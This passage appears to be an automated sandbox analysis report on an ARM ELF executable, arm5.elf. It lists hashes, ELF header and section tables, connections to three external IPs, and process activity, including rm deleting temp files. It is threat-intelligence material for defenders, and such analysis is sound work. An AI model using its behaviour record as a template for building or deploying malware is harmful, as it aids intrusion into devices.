                                          SSDEEP:3:TggLAJ5:Tgg03
                                          MD5:A737667E3E61E716C83359F35BC141DA
                                          SHA1:E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
                                          SHA-256:2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
                                          SHA-512:0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
                                          Malicious:false
                                          Reputation:moderate, very likely benign file
                                          Preview:/tmp/arm5.elf.
                                          Process:/tmp/arm5.elf
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):14
                                          Entropy (8bit):3.521640636343319
                                          Encrypted:false
                                          SSDEEP:3:TggLAJ5:Tgg03
                                          MD5:A737667E3E61E716C83359F35BC141DA
                                          SHA1:E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
                                          SHA-256:2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
                                          SHA-512:0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
                                          Malicious:false
                                          Reputation:moderate, very likely benign file
                                          Preview:/tmp/arm5.elf.
                                          File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, stripped
                                          Entropy (8bit):6.208488205279751
                                          TrID:
                                          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                          File name:arm5.elf
                                          File size:104'484 bytes
                                          MD5:20d4f292bdef2ab2fe9a9e5536e30c4a
                                          SHA1:08298cfdc037526fe7ae00bb07cf8b412d7c59f8
                                          SHA256:eb09fec08cf6ce8e7739472573f5ad429e81c7cbb407cf298c6806d035418907
                                          SHA512:0be87203fe0f10a1709c6117c207da30f85f6565793682746a60ca2c2ceec0ec3be84ecf0e79de3209e3cbbf902bd496d1bc18b4e8497e39e55c9f9a72b682cd
                                          SSDEEP:3072:QGAXfdhktRnsY3OcI8SI4dpWAK8YtNulEvGQhMkdN:QGAXfdhktRnsZeS7KtN0Evbhf
                                          TLSH:DFA3F899B8919B6AC5D406BFFE1F818D33231BF8E2DB3103DD186B24768A51A4E3F541
                                          File Content Preview:.ELF..............(.....l...4...D.......4. ...(.........T...T...T....................................................... ... ... .......XH...........................................@-..@............/..@-.,@...0....S..... 0....S.........../..0...0...@..../

                                          ELF header

                                          Class:ELF32
                                          Data:2's complement, little endian
                                          Version:1 (current)
                                          Machine:ARM
                                          Version Number:0x1
                                          Type:EXEC (Executable file)
                                          OS/ABI:UNIX - System V
                                          ABI Version:0
                                          Entry Point Address:0x816c
                                          Flags:0x4000002
                                          ELF Header Size:52
                                          Program Header Offset:52
                                          Program Header Size:32
                                          Number of Program Headers:4
                                          Section Header Offset:104004
                                          Section Header Size:40
                                          Number of Section Headers:12
                                          Header String Table Index:11
                                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                          NULL0x00x00x00x00x0000
                                          .initPROGBITS0x80b40xb40x140x00x6AX001
                                          .textPROGBITS0x80c80xc80x16af00x00x6AX004
                                          .finiPROGBITS0x1ebb80x16bb80x140x00x6AX001
                                          .rodataPROGBITS0x1ebcc0x16bcc0x28880x00x2A004
                                          .ARM.exidxARM_EXIDX0x214540x194540xc80x00x82AL204
                                          .init_arrayINIT_ARRAY0x295200x195200x40x00x3WA004
                                          .fini_arrayFINI_ARRAY0x295240x195240x40x00x3WA004
                                          .gotPROGBITS0x2952c0x1952c0x280x40x3WA004
                                          .dataPROGBITS0x295540x195540x980x00x3WA004
                                          .bssNOBITS0x295f00x195ec0x47880x00x3WA008
                                          .shstrtabSTRTAB0x00x195ec0x580x00x0001
                                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                          DYNAMIC0x194540x214540x214540xc80xc84.31090x4R 0x4.ARM.exidx
                                          LOAD0x00x80000x80000x1951c0x1951c6.21900x5R E0x8000.init .text .fini .rodata .ARM.exidx
                                          LOAD0x195200x295200x295200xcc0x48583.64620x6RW 0x8000.init_array .fini_array .got .data .bss
                                          DYNAMIC0x00x00x00x00x00.00000x7RWE0x4

                                          Download Network PCAP: filteredfull

                                          • Total Packets: 6
                                          • 443 (HTTPS)
                                          • 80 (HTTP)
                                          TimestampSource PortDest PortSource IPDest IP
                                          Apr 2, 2025 07:33:08.673536062 CEST42836443192.168.2.2391.189.91.43
                                          Apr 2, 2025 07:33:10.213323116 CEST4251680192.168.2.23109.202.202.202
                                          Apr 2, 2025 07:33:23.775765896 CEST43928443192.168.2.2391.189.91.42
                                          Apr 2, 2025 07:33:36.061964035 CEST42836443192.168.2.2391.189.91.43
                                          Apr 2, 2025 07:33:40.157728910 CEST4251680192.168.2.23109.202.202.202
                                          Apr 2, 2025 07:34:04.730508089 CEST43928443192.168.2.2391.189.91.42

                                          System Behavior

                                          Start time (UTC):05:33:07
                                          Start date (UTC):02/04/2025
                                          Path:/tmp/arm5.elf
                                          Arguments:-
                                          File size:4956856 bytes
                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                          Start time (UTC):05:33:07
                                          Start date (UTC):02/04/2025
                                          Path:/usr/bin/dash
                                          Arguments:-
                                          File size:129816 bytes
                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                          Start time (UTC):05:33:07
                                          Start date (UTC):02/04/2025
                                          Path:/usr/bin/rm
                                          Arguments:rm -f /tmp/tmp.iPi1LN4aMW /tmp/tmp.OY7SGIF0Z3 /tmp/tmp.SGeFbkuwGU
                                          File size:72056 bytes
                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                          Start time (UTC):05:33:07
                                          Start date (UTC):02/04/2025
                                          Path:/usr/bin/dash
                                          Arguments:-
                                          File size:129816 bytes
                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                          Start time (UTC):05:33:07
                                          Start date (UTC):02/04/2025
                                          Path:/usr/bin/rm
                                          Arguments:rm -f /tmp/tmp.iPi1LN4aMW /tmp/tmp.OY7SGIF0Z3 /tmp/tmp.SGeFbkuwGU
                                          File size:72056 bytes
                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b